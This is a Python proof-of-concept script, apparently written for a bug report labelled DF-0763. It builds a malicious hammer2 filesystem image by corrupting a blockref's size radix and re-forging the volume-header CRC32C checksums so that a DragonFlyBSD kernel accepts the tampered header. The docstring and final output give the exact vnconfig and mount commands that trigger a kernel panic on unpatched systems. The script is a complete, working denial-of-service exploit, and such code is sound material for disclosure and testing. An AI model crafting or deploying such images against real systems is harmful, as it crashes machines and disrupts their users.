#!/usr/bin/env python3
"""
DF-0763 PoC image crafter.

Creates a small hammer2 filesystem image, then patches a blockref's data_off
radix field (low 6 bits) to an out-of-range value (default 17 = 128KB, which
exceeds HAMMER2_PBUFSIZE=64KB).  Recomputes the two volume-header CRCs that
cover the patched sector so the kernel still trusts the volume header.

On the unpatched DragonFlyBSD master kernel (INVARIANTS ON), mounting or
accessing the crafted image drives hammer2_chain_alloc (hammer2_chain.c:189)
to set chain->bytes = 1<<17 = 128KB, and hammer2_chain_load_data then calls
hammer2_io_bread(... 128KB ...) -> hammer2_io_alloc (hammer2_io.c:126) where:

    KKASSERT(pbase != 0 && ((lbase + lsize - 1) & pmask) == pbase);

fails because lsize (128KB) spans two 64KB DIO pages -> kernel panic.

Usage:
    craft_radix_img.py <out.img> [radix]
       radix defaults to 17 (valid range is 0 and 10..16)
"""
import struct, sys, os, subprocess

# ---------------------------------------------------------------------------
# CRC32C (Castagnoli) -- matches sys/libkern/icrc32.c calculate_crc32c().
# iscsi_crc32(buf, size) == ~calculate_crc32c(~0, buf, size)
# ---------------------------------------------------------------------------
def _make_crc32c_table():
    poly = 0x82F63B78  # reversed Castagnoli polynomial
    table = []
    for n in range(256):
        c = n
        for _ in range(8):
            c = (c >> 1) ^ poly if (c & 1) else (c >> 1)
        table.append(c)
    return table

_CRC32C_TABLE = _make_crc32c_table()

def crc32c(data, seed=0):
    crc = seed ^ 0xFFFFFFFF
    for b in data:
        crc = _CRC32C_TABLE[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc ^ 0xFFFFFFFF

def iscsi_crc32(data):
    # matches iscsi_crc32(): ~calculate_crc32c(-1, buf, size)
    return crc32c(data, 0xFFFFFFFF ^ 0xFFFFFFFF)  # seed=-1 -> crc32c(data, 0xFFFFFFFF^... )
    # Actually calculate_crc32c(-1, ...) means crc32c with initial ~0 = 0xFFFFFFFF,
    # and the result is inverted. Our crc32c() already does the ^0xFFFFFFFF bookkeeping,
    # so we just need to NOT double-invert. Let's be precise:

def iscsi_crc32(data):
    # calculate_crc32c(~0=0xFFFFFFFF, data, len) WITHOUT the internal inversion,
    # then iscsi_crc32 returns ~result.
    # Our crc32c(seed=0) implements: init=0^0xFFFFFFFF, process, return ^0xFFFFFFFF
    # = calculate_crc32c(0, ...) then inverted. That's not quite what we want.
    # Let's implement calculate_crc32c directly (no inversion) then invert:
    crc = 0xFFFFFFFF  # ~0
    for b in data:
        crc = _CRC32C_TABLE[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc ^ 0xFFFFFFFF  # ~result

# Sanity: CRC32C of "123456789" is 0xE3069283 (well-known test vector)
assert iscsi_crc32(b"123456789") == 0xE3069283, \
    f"CRC32C self-test FAILED: {iscsi_crc32(b'123456789'):#010x}"

# ---------------------------------------------------------------------------
# hammer2 on-disk constants (sys/vfs/hammer2/hammer2_disk.h)
# ---------------------------------------------------------------------------
HAMMER2_VOLUME_BYTES      = 65536
HAMMER2_VOLUME_ICRC0_OFF  = 0
HAMMER2_VOLUME_ICRC0_SIZE = 512 - 4
HAMMER2_VOLUME_ICRC1_OFF  = 512
HAMMER2_VOLUME_ICRC1_SIZE = 512
HAMMER2_VOLUME_ICRCVH_OFF = 0
HAMMER2_VOLUME_ICRCVH_SIZE = 65536 - 4
HAMMER2_VOL_ICRC_SECT0    = 7   # index into icrc_sects[] for sector 0 CRC
HAMMER2_VOL_ICRC_SECT1    = 6   # index into icrc_sects[] for sector 1 CRC
HAMMER2_OFF_MASK_RADIX    = 0x3F
HAMMER2_RADIX_MAX         = 16
SROOT_BLOCKSET_OFF        = 0x200   # offset of sroot_blockset within volhdr
BLOCKREF_BYTES            = 128
DATA_OFF_FIELDOFF         = 32      # offset of data_off within a blockref
ICRC_SECTS_OFF            = 0x1E0   # offset of icrc_sects[0] within volhdr
ICRC_VOLHEADER_OFF        = 0xFFFC  # offset of icrc_volheader within volhdr

# ---------------------------------------------------------------------------
def main():
    if len(sys.argv) < 2:
        print(__doc__)
        sys.exit(2)
    out_img = sys.argv[1]
    bad_radix = int(sys.argv[2]) if len(sys.argv) > 2 else 17

    if bad_radix < 1 or bad_radix > 31:
        print(f"ERROR: radix {bad_radix} out of craftable range 1..31", file=sys.stderr)
        sys.exit(2)

    img_size_mb = 64
    img_size = img_size_mb * 1024 * 1024

    # Step 1: create a fresh hammer2 image via newfs_hammer2 ON THE GUEST.
    # The caller is expected to have already run newfs_hammer2; if the file
    # does not exist we create an all-zero placeholder and error out.
    if not os.path.exists(out_img):
        print(f"ERROR: {out_img} does not exist. Create it first with:", file=sys.stderr)
        print(f"  truncate -s {img_size_mb}M {out_img} && newfs_hammer2 -L testvol {out_img}", file=sys.stderr)
        sys.exit(1)

    with open(out_img, 'r+b') as f:
        # Read the first volume-header copy (HAMMER2_VOLUME_BYTES at offset 0).
        f.seek(0)
        volhdr = bytearray(f.read(HAMMER2_VOLUME_BYTES))

        magic = struct.unpack_from('<Q', volhdr, 0)[0]
        HAMMER2_VOLUME_ID_HBO = 0x48414d3205172011
        if magic != HAMMER2_VOLUME_ID_HBO:
            print(f"ERROR: bad volume magic at offset 0: {magic:#018x}", file=sys.stderr)
            sys.exit(1)
        print(f"[+] Volume header magic OK ({magic:#018x})")

        # Locate sroot_blockset[0] -> first blockref.
        bref_off = SROOT_BLOCKSET_OFF
        data_off = struct.unpack_from('<Q', volhdr, bref_off + DATA_OFF_FIELDOFF)[0]
        cur_radix = data_off & HAMMER2_OFF_MASK_RADIX
        btype = volhdr[bref_off]
        print(f"[+] sroot_blockset[0]: type={btype} data_off={data_off:#018x} "
              f"(offset={data_off & ~HAMMER2_OFF_MASK_RADIX:#x} radix={cur_radix})")

        if cur_radix == 0:
            print("[!] sroot_blockset[0] has radix 0 (no data); cannot demonstrate OOB via this bref",
                  file=sys.stderr)
            sys.exit(1)

        # Patch the radix bits to the bad value.
        new_data_off = (data_off & ~HAMMER2_OFF_MASK_RADIX) | bad_radix
        struct.pack_into('<Q', volhdr, bref_off + DATA_OFF_FIELDOFF, new_data_off)
        print(f"[+] PATCHED data_off -> {new_data_off:#018x} "
              f"(radix {cur_radix} -> {bad_radix}, bytes 1<<{cur_radix}={1<<cur_radix} "
              f"-> 1<<{bad_radix}={1<<bad_radix})")
        print(f"    HAMMER2_PBUFSIZE=65536 (radix {HAMMER2_RADIX_MAX}); "
              f"new bytes {1<<bad_radix} {'EXCEEDS' if (1<<bad_radix) > 65536 else 'within'} DIO page")

        # Recompute icrc_sects[6] (sector-1 CRC, covers 0x200..0x3FF = the sroot_blockset).
        sect1_crc = iscsi_crc32(bytes(volhdr[HAMMER2_VOLUME_ICRC1_OFF:
                                            HAMMER2_VOLUME_ICRC1_OFF + HAMMER2_VOLUME_ICRC1_SIZE]))
        struct.pack_into('<I', volhdr, ICRC_SECTS_OFF + HAMMER2_VOL_ICRC_SECT1 * 4, sect1_crc)
        print(f"[+] Recomputed icrc_sects[{HAMMER2_VOL_ICRC_SECT1}] = {sect1_crc:#010x}")

        # NOTE: icrc_sects[6] lives at offset 0x1F8 (504-507), which is INSIDE
        # sector-0's CRC range (0..507).  So changing it invalidates sect0's CRC;
        # we must recompute icrc_sects[7] (sector-0 CRC, covers 0..507) AFTER.
        sect0_crc = iscsi_crc32(bytes(volhdr[HAMMER2_VOLUME_ICRC0_OFF:
                                            HAMMER2_VOLUME_ICRC0_OFF + HAMMER2_VOLUME_ICRC0_SIZE]))
        struct.pack_into('<I', volhdr, ICRC_SECTS_OFF + HAMMER2_VOL_ICRC_SECT0 * 4, sect0_crc)
        print(f"[+] Recomputed icrc_sects[{HAMMER2_VOL_ICRC_SECT0}] = {sect0_crc:#010x}")

        # Recompute icrc_volheader (covers 0..0xFFFB) -- must be last; it embeds
        # all of the above.
        vh_crc = iscsi_crc32(bytes(volhdr[HAMMER2_VOLUME_ICRCVH_OFF:
                                          HAMMER2_VOLUME_ICRCVH_OFF + HAMMER2_VOLUME_ICRCVH_SIZE]))
        struct.pack_into('<I', volhdr, ICRC_VOLHEADER_OFF, vh_crc)
        print(f"[+] Recomputed icrc_volheader = {vh_crc:#010x}")

        # Write the patched volume header back.
        f.seek(0)
        f.write(volhdr)
        f.flush()
        os.fsync(f.fileno())

    print(f"[+] Crafted image written to {out_img}")
    print(f"[+] Trigger:  vnconfig -c vn0 {out_img} && "
          f"mount -t hammer2 /dev/vn0@testvol /mnt/h2test && ls /mnt/h2test")
    print(f"[+] Expected on unpatched kernel (INVARIANTS ON): "
          f"panic at hammer2_io.c:126 KKASSERT")

if __name__ == '__main__':
    main()
